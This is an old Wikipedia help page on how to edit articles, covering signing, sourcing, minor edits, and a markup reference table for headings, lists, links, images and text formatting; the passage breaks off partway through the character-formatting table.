You should remember to [[Wikipedia:Sign your posts on talk pages|sign your messages]] on [[Wikipedia:Talk pages|talk pages]] and some special-purpose [[Wikipedia:Project namespace|project pages]], but you should '''not''' sign edits you make to regular articles. In [[Wikipedia:Page history|page histories]], the [[MediaWiki]] software keeps track of which user makes each change.

==Tips on editing Wikipedia articles==
'''Always use a [[Wikipedia:Neutral point of view|neutral point of view]]''', because Wikipedia is [[Wikipedia:What Wikipedia is not#Wikipedia is not a soapbox|not a soapbox]].

'''Cite your sources''', so others can check and extend your work. Most Wikipedia articles currently lack good references, and this continues to be Wikipedia's single greatest criticism—that it is not a reliable source.  Please help by researching online and print resources to find references for the article you are working on, then [[Wikipedia:Citing sources|cite them]] in proper form, and consider in-text citation for contentious facts.  There is no consensus on the best way to do this, but anything is better than nothing. 

'''Link to your article''' from other articles. After making a new page, it's a good idea to use the ''[[Wikipedia:What links here|What links here]]'' feature to check the pages that already link to your new page. Make sure that all the links are referring to your page in the right context. For example, a link to the Mercury article in an astronomy-related article should direct readers to [[Mercury (planet)]] rather than [[Mercury (mythology)]]. You should also use the [[Wikipedia:Searching|search feature]] to find occurrences of the title of your new page—and possible variants thereof—so that you can [[Wikipedia:Links|create appropriate links]].

==Minor edits==
''See also [[Wikipedia:Minor edit]]''

When editing a page, a [[Wikipedia:How to log in|logged-in]] user can mark that edit as being &quot;minor&quot;. Minor edits generally mean spelling corrections, formatting, and minor rearrangement of text. It is possible to ''hide'' minor edits when viewing the [[Wikipedia:Recent Changes|recent changes]]. Marking a significant change as a minor edit is considered bad behavior, especially when it involves the deletion of some text. If you accidentally mark an edit as minor, you should edit the source once more, mark it major (or, rather, ensure that the check-box for &quot;This is a minor edit&quot; is not checked), and, in the summary, state that the previous change was a major one.

==Wiki markup==
The '''wiki markup''' is the syntax system you can use to format a Wikipedia page.

In the left column of the table below, you can see what effects are possible. In the right column, you can see how those effects were achieved. In other words, to make text look like it looks in the left column, type it in the format you see in the right column.

You may want to keep this page open in a separate browser window for reference. '''If you want to try out things without danger of doing any harm, you can do so in the [[Wikipedia:Sandbox|Sandbox]]'''. Try opening the Sandbox in a separate window or tab and keeping this page open for reference.

===Examples===
&lt;!--
:'''The rest of this page is deprecated but will be updated periodically.''' 
:'''Please direct edits to the [[meta:MediaWiki User's Guide: Editing overview|Meta-Wikimedia version of this page]]'''

--&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! What it looks like
! What you type
|- valign=&quot;top&quot;
|
Start your [[Wikipedia:Manual of Style (headings)|sections]] as follows:

&lt;!-- The following code messes up the table of contents
     and makes the section edit links much less useful,
     so please do not use it.
== New section ==
=== Subsection ===
==== Sub-subsection ====
--&gt;
&lt;!-- The following should look almost the same, using
     HTML headings markup instead of wiki headings.
     However, it messes up the section edit links,
     so please do not use it.
&lt;h2&gt;New section&lt;/h2&gt;
&lt;h3&gt;Subsection&lt;/h3&gt;
&lt;h4&gt;Sub-subsection&lt;/h4&gt;
--&gt;
&lt;!-- The following just uses bolding and font changes,
     so it should be safe.  However, it might not
     look exactly right, especially when people
     use non-standard CSS stylesheets.
--&gt;
'''&lt;font style=&quot;font-size:120%&quot;&gt;New section&lt;/font&gt;'''

'''&lt;font style=&quot;font-size:110%&quot;&gt;Subsection&lt;/font&gt;'''

'''&lt;font style=&quot;font-size:100%&quot;&gt;Sub-subsection&lt;/font&gt;'''

* Start with a second-level heading (&lt;tt&gt;&lt;nowiki&gt;==&lt;/nowiki&gt;&lt;/tt&gt;); don't use first-level headings (=).
* Don't skip levels (for example, second-level followed by fourth-level).
* A [[#Placement_of_the_Table_of_Contents_.28TOC.29|Table of Contents]] will automatically be added to an article that has four or more sections. 
*If appropriate, place subsections in an appropriate order. If listing countries, place them in alphabetical order rather than, say, relative to population of [[OECD]] countries, or some random order.
|
&lt;pre&gt;&lt;nowiki&gt;
==New section==

===Subsection===

====Sub-subsection====
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
A single [[newline]]
generally has no effect on the layout.
These can be used to separate
sentences within a paragraph.
Some editors find that this aids editing
and improves the function ''diff'' 
(used internally to compare
different versions of a page).

But an empty line
starts a new paragraph.

* When used in a list, a newline ''does'' affect the layout ([[#lists|see below]]).
|
&lt;pre&gt;&lt;nowiki&gt;
A single [[newline]]
generally has no effect on the layout. 
These can be used to separate
sentences within a paragraph.
Some editors find that this aids editing
and improves the function ''diff'' 
(used internally to compare
different versions of a page).

But an empty line
starts a new paragraph.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
You can break lines&lt;br&gt;
without starting a new paragraph.

* Please use this sparingly.
* Close markup between lines, do not start a [[link]] or ''italics'' or '''bold''' on one line and close it on the next.
|
&lt;pre&gt;&lt;nowiki&gt;
You can break lines&lt;br&gt;
without starting a new paragraph.
&lt;/nowiki&gt;&lt;/pre&gt;
|- id=&quot;lists&quot; valign=&quot;top&quot;
|
* It's easy to create a list:
** Start every line with a star ([[asterisk]]).
*** More stars means deeper levels.
**** A newline in a list
marks the end of a list item.

* An empty line starts a new list.
|
&lt;pre&gt;&lt;nowiki&gt;
* It's easy to create a list:
** Start every line with a star.
*** More stars means deeper levels.
**** A newline in a list
marks the end of a list item.

* An empty line starts a new list.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
# Numbered lists are also good
## very organized
## easy to follow
### easier still
|
&lt;pre&gt;&lt;nowiki&gt;
# Numbered lists are also good
## very organized
## easy to follow
### easier still
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot; id=&quot;definition&quot;
|
; Definition list : list of definitions
; item : the item's definition
; another item
: the other item's definition

* Begin with a semicolon.  One item per line; a newline can appear before the colon, but using a space before the colon improves parsing.
|
&lt;pre&gt;&lt;nowiki&gt;
; Definition list : list of definitions
; item : the item's definition
; another item
: the other item's definition
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
* You can even create mixed lists
*# and nest them
*#* like this
*#*; can I mix definition list as well?
*#*: yes
*#*; how?
*#*: it's easy as
*#*:* a 
*#*:* b
*#*:* c
|
&lt;pre&gt;&lt;nowiki&gt;
* You can even create mixed lists
*# and nest them
*#* like this
*#*; can I mix definition list as well?
*#*: yes
*#*; how?
*#*: it's easy as
*#*:* a 
*#*:* b
*#*:* c
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
: A colon indents a line or paragraph.
A manual newline starts a new paragraph.

* This is primarily for displayed material, but is also used for discussion on [[Wikipedia:Talk page|Talk page]]s.
|
&lt;pre&gt;&lt;nowiki&gt;
: A colon indents a line or paragraph.
A manual newline starts a new paragraph.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=top
|
When there is a need for separating a block of text
&lt;blockquote&gt;
the '''blockquote''' command will indent both margins when needed instead of the left margin only as the colon does.  
&lt;/blockquote&gt; 
This is useful for (as the name says) inserting blocks of quoted (and cited) text.  
|
&lt;pre&gt;&lt;nowiki&gt;
&lt;blockquote&gt;
The '''blockquote''' command will indent 
both margins when needed instead of the 
left margin only as the colon does.  
&lt;/blockquote&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=top
|
(See formula on right):

*This is useful for:
** pasting preformatted text;
** algorithm descriptions;
** program source code;
** [[ASCII art]];
** chemical structures;
* '''WARNING''': If you make it wide, you [[page widening|force the whole page to be wide]] and hence less readable, especially for people who use lower resolutions. Never start ordinary lines with spaces.
|
&lt;pre&gt;&lt;nowiki&gt;
 IF a line starts with a space THEN
 it will be formatted exactly
 as typed;
 in a fixed-width font;
 lines will not wrap;
 ENDIF
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
&lt;center&gt;Centered text.&lt;/center&gt;

* Please note the American spelling of &quot;center&quot;.
|
&lt;pre&gt;&lt;nowiki&gt;
&lt;center&gt;Centered text.&lt;/center&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
A [[horizontal dividing line]]:
this is above it
----
and this is below it.

* Mainly useful for 
**disambiguation - but to be used sparsely, only when separating completely different, unrelated (groups of) meanings
**separating threads on Talk pages.
|
&lt;pre&gt;&lt;nowiki&gt;
A [[horizontal dividing line]]:
this is above it
----
and this is below it.
&lt;/nowiki&gt;&lt;/pre&gt;
|}

===Links and URLs===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; 
|- style=&quot;width=100%&quot;
! What it looks like
! What you type
|- valign=&quot;top&quot;
|
London has [[public transport]].

* A link to another Wikipedia article.
* Internally, the first letter of the target page is automatically capitalized and spaces are represented as underscores (typing an underscore in the link has the same effect as typing a space, but is not recommended).
* Thus the link above is to the [[URL]] en.wikipedia.org/wiki/Public_transport, which is the Wikipedia article with the name &quot;Public transport&quot;. See also [[Wikipedia:Canonicalization]].
|
&lt;pre&gt;&lt;nowiki&gt;
London has [[public transport]].
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
San Francisco also has
[[public transport|
public transportation]].

* Same target, different name.
* This is a [[piped link]].
* The &quot;piped&quot; text must be placed first, the text that will be displayed, second.
|
&lt;pre&gt;&lt;nowiki&gt;
San Francisco also has
[[public transport|
public transportation]].
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
San Francisco also has
[[public transport]]ation.

Examples include [[bus]]es, [[taxi]]s,
and [[streetcar]]s.

* Endings are blended into the link.
* Preferred style is to use this instead of a piped link, if possible.
|
&lt;pre&gt;&lt;nowiki&gt;
San Francisco also has
[[public transport]]ation.

Examples include [[bus]]es, [[taxi]]s,
and [[streetcar]]s.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
See the [[Wikipedia:Manual of Style]].

* A link to another [[Wikipedia:namespace|namespace]].
|
&lt;pre&gt;&lt;nowiki&gt;
See the [[Wikipedia:Manual of Style]].
&lt;/nowiki&gt;&lt;/pre&gt;
|- id=&quot;link-to-section&quot; valign=&quot;top&quot;
|
[[Economics#See also]] is a link
to a section within another page.

[[#Links and URLs]] is a link
to a section on the current page.

[[#example]] is a link to an
anchor that was created using
&lt;div id=&quot;example&quot;&gt;an id attribute&lt;/div&gt;

* The part after the number sign (#) must match a section heading on the page. Matches must be exact in terms of spelling, case, and punctuation.  Links to non-existent sections are not broken; they are treated as links to the top of the page.
* Identifiers may be created by attaching an &lt;code&gt;id=&quot;...&quot;&gt;&lt;/code&gt; attribute to almost any HTML element.
|
&lt;pre&gt;&lt;nowiki&gt;
[[Economics#See also]] is a link
to a section within another page.

[[#Links and URLs]] is a link
to a section on the current page.

[[#example]] is a link to an
anchor that was created using
&lt;div id=&quot;example&quot;&gt;an id attribute
&lt;/div&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
Automatically hide stuff in parentheses:
[[kingdom (biology)|kingdom]].

Automatically hide namespace:
[[Wikipedia:Village Pump|Village Pump]]. 

Or both:
[[Wikipedia:Manual of Style (headings)|Manual of Style]]

But not:
[[Wikipedia:Manual of Style#Links|]]

* The server fills in the part after the pipe character (|) when you save the page. The next time you open the edit box you will see the expanded piped link. When [[Wikipedia:Show preview|preview]]ing your edits, you will not see the expanded form until you press '''Save''' and '''Edit''' again. The same applies to links to sections within the same page ([[#link-to-section|see previous entry]]).
|
&lt;pre&gt;&lt;nowiki&gt;
Automatically hide stuff
in parentheses:
[[kingdom (biology)|]].

Automatically hide namespace: 
[[Wikipedia:Village Pump|]].

Or both:
[[Wikipedia:
Manual of Style (headings)|]]

But not:
[[Wikipedia:
Manual of Style#Links|]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
[[Agriculture in London]] is a page
that does not exist yet.

* You can create it by clicking on the link (but please do not do so with this particular link).
* To create a new page: 
*# Create a link to it on some other (related) page.
*# Save that page.
*# Click on the link you just made. The new page will open for editing.
* For more information, see [[Wikipedia:How to start a page|How to start a page]] and check out Wikipedia's [[Wikipedia:Naming conventions|naming conventions]].
* Please do not create a new article without linking to it from at least one other article.
|
&lt;pre&gt;&lt;nowiki&gt;
[[Agriculture in London]]
is a page 
that does not exist yet.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
[[Wikipedia:How to edit a page]] is this page.

* [[Self link]]s appear as bold text when the article is viewed.
* Do not use this technique to make the article name bold in the first paragraph; see the [[Wikipedia:Manual of Style#Article titles|Manual of Style]].
|
&lt;pre&gt;&lt;nowiki&gt;
[[Wikipedia:
How to edit a page]]
is this page.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
When adding a comment to a Talk page,
you should sign it by adding
three tildes to add your user name:
: [[User:Brockert|Ben Brockert]]
or four to add user name plus date/time:
: [[User:Brockert|Ben Brockert]] 00:18, Nov 19, 2004 (UTC)
Five tildes gives the date/time alone:
: 00:18, Nov 19, 2004 (UTC)

* The first two both provide a link to your [[Wikipedia:user page|user page]].
|
&lt;pre&gt;&lt;nowiki&gt;
When adding a comment to a Talk page,
you should sign it by adding
three tildes to add your user name:
: ~~~
or four for user name plus date/time:
: ~~~~
Five tildes gives the date/time alone:
: ~~~~~
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
* [[Wikipedia:Redirect|Redirect]] one article title to another by placing a directive like the one shown to the right on the ''first'' line of the article (such as at a page titled &quot;[[USA]]&quot;).
* Note that, while it is possible to link to a section, it is not possible to redirect to a section. For example, &quot;&lt;nowiki&gt;#REDIRECT [[United States#History]]&lt;/nowiki&gt;&quot; will redirect to the [[United States]] page, but not to any particular section on it. This feature may be implemented in the future - see [[MediaZilla:1837|feature request 1837]] (it appears as a bug).
|
&lt;pre&gt;&lt;nowiki&gt;
#REDIRECT [[United States]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
* Link to a page on the same subject in another language by using a link of the form: &lt;nowiki&gt;[[language code:Title]]&lt;/nowiki&gt;.
* It does not matter where you put these links while editing as they will always show up in the same place when you save the page, but placement at the end of the edit box is recommended.
* Please see [[Wikipedia:Interlanguage links]] and the [[Wikipedia:Complete list of language wikis available|list of languages and codes]].
|
&lt;pre&gt;&lt;nowiki&gt;
[[fr:Wikipédia:Aide]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''What links here''' and '''Related changes'''
pages can be linked as:
[[Special:Whatlinkshere|
Wikipedia:How to edit a page]]
and
[[Special:Recentchangeslinked|
Wikipedia:How to edit a page]]

|
&lt;pre&gt;&lt;nowiki&gt;
'''What links here''' and
'''Related changes'''
pages can be linked as:
[[Special:Whatlinkshere|
Wikipedia:How to edit a page]]
and
[[Special:Recentchangeslinked|
Wikipedia:How to edit a page]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
A user's '''Contributions''' page can be linked as:
[[Special:Contributions/UserName]]
or
[[Special:Contributions/192.0.2.0]]
|
&lt;pre&gt;&lt;nowiki&gt;
A user's '''Contributions''' page
can be linked as:
[[Special:Contributions/UserName]]
or
[[Special:Contributions/192.0.2.0]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
* To put an article in a [[Wikipedia:Category]], place a link like the one to the right anywhere in the article. As with interlanguage links, it does not matter where you put these links while editing as they will always show up in the same place when you save the page, but placement at the end of the edit box is recommended.
|
&lt;pre&gt;&lt;nowiki&gt;
[[Category:Character sets]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
* To ''link'' to a [[Wikipedia:Category]] page without putting the article into the category, use an initial colon (:) in the link.
|
&lt;pre&gt;&lt;nowiki&gt;
[[:Category:Character sets]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- id=&quot;link-external&quot; valign=&quot;top&quot;
|
Three ways to link to external (non-wiki) sources:
# Bare URL: http://www.nupedia.com/ (bad style)
# Unnamed link: [http://www.nupedia.com/] (only used within article body for footnotes)
# Named link: [http://www.nupedia.com Nupedia]

:See [[MetaWikiPedia:Interwiki_map]] for the list of shortcuts.

* Square brackets indicate an external link. Note the use of a ''space'' (not a pipe) to separate the URL from the link text in the &quot;named&quot; version.
* In the [[URL]], all symbols must be among:&lt;br/&gt;'''A-Z a-z 0-9 . _ \ / ~ % - + &amp;amp; # ? ! = ( ) @ \x80-\xFF'''
* If a URL contains a character not in this list, it should be encoded by using a percent sign (%) followed by the [[hexadecimal|hex]] code of the character, which can be found in the table of [[ASCII#ASCII printable characters|ASCII printable characters]]. For example, the caret character (^) would be encoded in a URL as '''%5E'''.
* If the &quot;named&quot; version contains a closing square bracket &quot;]&quot;, then you must use the [[HTML]] special character syntax, i.e. '''&amp;amp;#93;''' otherwise the [[MediaWiki]] software will prematurely interpret this as the end of the external link.
* There is a class that can be used to remove the arrow image from the external link. It is used in [[Template:Ref]] to stop the URL from expanding during printing. It should '''never''' be used in the main body of an article. However, there is an exception: wikilinks in Image markup. An example of the markup is as follows:
** Markup: &lt;nowiki&gt;&lt;span 
class=&quot;plainlinksneverexpand&quot;&gt;
[http://www.sysinternals.com
/ntw2k/freeware/winobj.shtml 
WinObj]&lt;/span&gt;&lt;/nowiki&gt;
** Display: &lt;nowiki&gt;&lt;span 
class=&quot;plainlinksneverexpand&quot;&gt; 
[http://www.sysinternals.com/
ntw2k/freeware/winobj.shtml WinObj] 
&lt;/span&gt;&lt;/nowiki&gt;
* See [[Wikipedia:External links]] for style issues.
|
&lt;pre&gt;&lt;nowiki&gt;
Three ways to link to
external (non-wiki) sources:
# Bare URL:
http://www.nupedia.com/
(bad style)
# Unnamed link:
[http://www.nupedia.com/]
(only used within article
body for footnotes)
# Named link:
[http://www.nupedia.com Nupedia]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
Linking to other wikis:
# [[Interwiki]] link:
[[Wiktionary:Hello]]
# Named interwiki link:
[[Wiktionary:Hello|Hello]]
# Interwiki link without prefix:
[[Wiktionary:Hello|Hello]]

* All of these forms lead to the URL http://en.wiktionary.org/wiki/Hello
* Note that interwiki links use the ''internal'' link style.
* See [[MetaWikiPedia:Interwiki_map]]
for the list of shortcuts; if the site you want to link to is not on the list, use an external link ([[#link-external|see above]]).
* See also
[[Wikipedia:How to link
to Wikimedia projects]].

Linking to another language's wiktionary:
# [[Wiktionary:fr:bonjour]]
# [[Wiktionary:fr:bonjour|bonjour]]
# [[Wiktionary:fr:bonjour|fr:bonjour]]

* All of these forms lead to the URL http://fr.wiktionary.org/wiki/bonjour
|
&lt;pre&gt;&lt;nowiki&gt;
Linking to other wikis:
# [[Interwiki]] link:
[[Wiktionary:Hello]]
# Named interwiki link:
[[Wiktionary:Hello|Hello]]
# Interwiki link without prefix:
[[Wiktionary:Hello|]]

Linking to another
language's wiktionary:
# [[Wiktionary:fr:bonjour]]
# [[Wiktionary:fr:bonjour|bonjour]]
# [[Wiktionary:fr:bonjour|]]
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
ISBN 012345678X

ISBN 0-12-345678-X

* Link to books using their [[Wikipedia:ISBN|ISBN]]. This is preferred to linking to a specific online bookstore, because it gives the reader a choice of vendors. However, if one bookstore or online service provides additional free information, such as table of contents or excerpts from the text, then a link to that source will aid the user and is recommended.
* ISBN links do not need any extra markup, provided you use one of the indicated formats.
|
&lt;pre&gt;&lt;nowiki&gt;
ISBN 012345678X

ISBN 0-12-345678-X
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=top
|
Date formats:
# [[July 20]], [[1969]]
# [[20 July]] [[1969]]
# [[1969]]-[[07-20]]
# [[1969-07-20]]

* Link dates in one of the above formats, so that everyone can set their own display order. If [[Special:Userlogin|logged in]], you can use [[Special:Preferences]] to change your own date display setting.
* All of the above dates will appear as &quot;[[20 July|20 July]] [[1969|1969]]&quot; if you set your date display preference to &quot;15 January 2001&quot;, but as &quot;[[20 July|July 20]], [[1969|1969]]&quot; if you set it to &quot;January 15, 2001&quot;, or as &quot;[[1969|1969]]-[[July 20|07-20]]&quot; if you set it to &quot;2001-01-15&quot;.
|
&lt;pre&gt;&lt;nowiki&gt;
Date formats:
# [[July 20]], [[1969]]
# [[20 July]] [[1969]]
# [[1969]]-[[07-20]]
# [[1969-07-20]]

&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
[[media:Sg_mrob.ogg|Sound]]

*To include links to non-image uploads such as sounds, use a &quot;media&quot; link. For images, [[#Images|see next section]].

Some uploaded sounds are listed at [[Wikipedia:Sound]].
|
&lt;pre&gt;&lt;nowiki&gt;
[[media:Sg_mrob.ogg|Sound]]
&lt;/nowiki&gt;&lt;/pre&gt;
|}

===Images===
Only images that have been uploaded to Wikipedia can be used. To upload images, use the [[Special:Upload|upload page]]. You can find the uploaded image on the [[Special:Imagelist|image list]].

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! What it looks like
! What you type
|- valign=&quot;top&quot;
|A picture: 
[[Image:wiki.png]]
|&lt;pre&gt;A picture: 
&lt;nowiki&gt;[[Image:wiki.png]]&lt;/nowiki&gt;&lt;/pre&gt;

|- valign=&quot;top&quot;
|With alternative text:
[[Image:wiki.png|jigsaw globe]]
|&lt;pre&gt;With alternative text:
&lt;nowiki&gt;[[Image:wiki.png|jigsaw globe]]&lt;/nowiki&gt;&lt;/pre&gt;
* Alternative text, used when a mouse hovers over the image or when the image is not loaded in a text-only browser, or when spoken aloud, is '''strongly''' encouraged. See [[Wikipedia:Alternate text for images|Alternate text for images]] for help on choosing it.

|- valign=&quot;top&quot;
|Floating to the right side of the page and with a caption:
[[Image:wiki.png|frame|Wikipedia Encyclopedia]]&lt;br clear=all&gt;
|&lt;pre&gt;Floating to the right side of the page
and with a caption:
&lt;nowiki&gt;[[Image:wiki.png|frame|Wikipedia Encyclopedia]]&lt;/nowiki&gt;&lt;/pre&gt;
* The frame tag automatically floats the image right.
* The caption is also used as alternate text.

|- valign=&quot;top&quot;
|Floating to the right side of the page ''without'' a caption:
[[Image:wiki.png|right|Wikipedia Encyclopedia]]
|&lt;pre&gt;Floating to the right side of the page
''without'' a caption:
&lt;nowiki&gt;[[Image:wiki.png|right|Wikipedia Encyclopedia]]&lt;/nowiki&gt;&lt;/pre&gt;
* The help topic on [[En:Wikipedia:Extended image syntax|Extended image syntax]] explains more options.

|- valign=&quot;top&quot;
|Linking directly to the description page of an image:
[[:Image:wiki.png]]
|&lt;pre&gt;Linking directly to the description page
of an image:
&lt;nowiki&gt;[[:Image:wiki.png]]&lt;/nowiki&gt;&lt;/pre&gt;
* Clicking on an image displayed on a page
(such as any of the ones above)
also leads to the description page

|- valign=&quot;top&quot;
|Linking directly to an image without displaying it:
[[media:wiki.png|Image of the jigsaw globe logo]]
|&lt;pre&gt;Linking directly to an image
without displaying it:
&lt;nowiki&gt;[[media:wiki.png|Image of the jigsaw globe logo]]&lt;/nowiki&gt;&lt;/pre&gt;
* To include links to images shown as links instead of drawn on the page, use a &quot;media&quot; link.

|- valign=&quot;top&quot; 
|Using the div tag to separate images from text (note that this may allow images to cover text):
|&lt;pre&gt;&lt;nowiki&gt;Example:
&lt;div style=&quot;display:inline;
width:220px; float:right;&quot;&gt;
Place images here &lt;/div&gt;&lt;/nowiki&gt;&lt;/pre&gt;

|- valign=&quot;top&quot; 
|Using wiki markup to make a table in which to place a vertical column of images (this helps edit links match headers, especially in Firefox browsers): 
|&lt;pre&gt;&lt;nowiki&gt;Example: {| align=right
|-
| 
Place images here
|}
&lt;/nowiki&gt;&lt;/pre&gt;

|}

See the Wikipedia's [[Wikipedia:Image use policy|image use policy]] as a guideline used on Wikipedia.

For further help on images, including some more versatile abilities, see the topic on [[En:Wikipedia:Extended image syntax|Extended image syntax]].

===Character formatting===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- valign=&quot;top&quot;
! What it looks like
! What you type
|- id=&quot;emph&quot; valign=&quot;top&quot;
|
''Emphasize'', '''strongly''', '''''very strongly'''''.
* These are double, triple, and quintuple apostrophes (single-quote marks), not double-quote marks.
|
&lt;pre&gt;&lt;nowiki&gt;
''Emphasize'', '''strongly''', '''''very strongly'''''.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
&lt;math&gt;\sin x + \ln y&lt;/math&gt;&lt;br&gt;
sin''x'' + ln''y''
&lt;!-- no space between roman &quot;sin&quot; and italic &quot;x&quot; --&gt;

&lt;math&gt;\mathbf{x} = 0&lt;/math&gt;&lt;br&gt;
'''x''' = 0

Ordinary text should use [[#emph|wiki markup for emphasis]], and should not use &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt;.  However, mathematical formulas often use italics, and sometimes use bold, for reasons unrelated to emphasis.  Complex formulas should use [[Help:Formula|&lt;code&gt;&amp;lt;math&amp;gt;&lt;/code&gt; markup]], and simple formulas may use &lt;code&gt;&amp;lt;math&amp;gt;&lt;/code&gt;; or &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt;; or &lt;code&gt;&lt;nowiki&gt;''&lt;/nowiki&gt;&lt;/code&gt; and &lt;code&gt;&lt;nowiki&gt;'''&lt;/nowiki&gt;&lt;/code&gt;.  According to [[Wikipedia:WikiProject Mathematics#Italicization and bolding|WikiProject Mathematics]], wiki markup is preferred over HTML markup like &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt;.
|
&lt;pre&gt;&lt;nowiki&gt;
&lt;math&gt;\sin x + \ln y&lt;/math&gt;
sin''x'' + ln''y''

&lt;math&gt;\mathbf{x} = 0&lt;/math&gt;
'''x''' = 0
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
A typewriter font for &lt;tt&gt;monospace text&lt;/tt&gt;
or for computer code: &lt;code&gt;int main()&lt;/code&gt;

* For semantic reasons, using &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; where applicable is preferable to using &lt;code&gt;&amp;lt;tt&amp;gt;&lt;/code&gt;.
|
&lt;pre&gt;&lt;nowiki&gt;
A typewriter font for &lt;tt&gt;monospace text&lt;/tt&gt;
or for computer code: &lt;code&gt;int main()&lt;/code&gt;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
You can use &lt;small&gt;small text&lt;/small&gt; for captions.
|
&lt;pre&gt;&lt;nowiki&gt;
You can use &lt;small&gt;small text&lt;/small&gt; for captions.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
You can &lt;s&gt;strike out deleted material&lt;/s&gt;
and &lt;u&gt;underline new material&lt;/u&gt;.

You can also mark &lt;del&gt;deleted material&lt;/del&gt; and
&lt;ins&gt;inserted material&lt;/ins&gt; using logical markup
rather than visual markup.

* When editing regular Wikipedia articles, just make your changes and do not mark them up in any special way.
* When editing your own previous remarks in talk pages, it is sometimes appropriate to mark up deleted or inserted material.
|
&lt;pre&gt;&lt;nowiki&gt;
You can &lt;s&gt;strike out deleted material&lt;/s&gt;
and &lt;u&gt;underline new material&lt;/u&gt;.

You can also mark &lt;del&gt;deleted material&lt;/del&gt; and
&lt;ins&gt;inserted material&lt;/ins&gt; using logical markup
rather than visual markup.
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Diacritical marks:'''
&lt;br/&gt;
À Á Â Ã Ä Å &lt;br/&gt;
Æ Ç È É Ê Ë &lt;br/&gt;
Ì Í
Î Ï Ñ Ò &lt;br/&gt;
Ó Ô Õ
Ö Ø Ù &lt;br/&gt;
Ú Û Ü ß
à á &lt;br/&gt;
â ã ä å æ
ç &lt;br/&gt;
è é ê ë ì í&lt;br/&gt;
î ï ñ ò ó ô &lt;br/&gt;
&amp;oelig; õ
ö ø ù ú &lt;br/&gt;
û ü ÿ

* See [[meta:Help:Special characters|special characters]].
|
&lt;br/&gt;
&lt;pre&gt;&lt;nowiki&gt;
&amp;amp;Agrave; &amp;amp;Aacute; &amp;amp;Acirc; &amp;amp;Atilde; &amp;amp;Auml; &amp;amp;Aring; 
&amp;amp;AElig; &amp;amp;Ccedil; &amp;amp;Egrave; &amp;amp;Eacute; &amp;amp;Ecirc; &amp;amp;Euml; 
&amp;amp;Igrave; &amp;amp;Iacute; &amp;amp;Icirc; &amp;amp;Iuml; &amp;amp;Ntilde; &amp;amp;Ograve; 
&amp;amp;Oacute; &amp;amp;Ocirc; &amp;amp;Otilde; &amp;amp;Ouml; &amp;amp;Oslash; &amp;amp;Ugrave; 
&amp;amp;Uacute; &amp;amp;Ucirc; &amp;amp;Uuml; &amp;amp;szlig; &amp;amp;agrave; &amp;amp;aacute; 
&amp;amp;acirc; &amp;amp;atilde; &amp;amp;auml; &amp;amp;aring; &amp;amp;aelig; &amp;amp;ccedil; 
&amp;amp;egrave; &amp;amp;eacute; &amp;amp;ecirc; &amp;amp;euml; &amp;amp;igrave; &amp;amp;iacute;
&amp;amp;icirc; &amp;amp;iuml; &amp;amp;ntilde; &amp;amp;ograve; &amp;amp;oacute; &amp;amp;ocirc; 
&amp;amp;oelig; &amp;amp;otilde; &amp;amp;ouml; &amp;amp;oslash; &amp;amp;ugrave; &amp;amp;uacute; 
&amp;amp;ucirc; &amp;amp;uuml; &amp;amp;yuml;
&lt;/nowiki&gt;&lt;/pre&gt;
|- valign=&quot;top&quot;
|
'''Punctuation:'''
&lt;br/&gt;
¿ ¡ § ¶&lt;br/&gt;
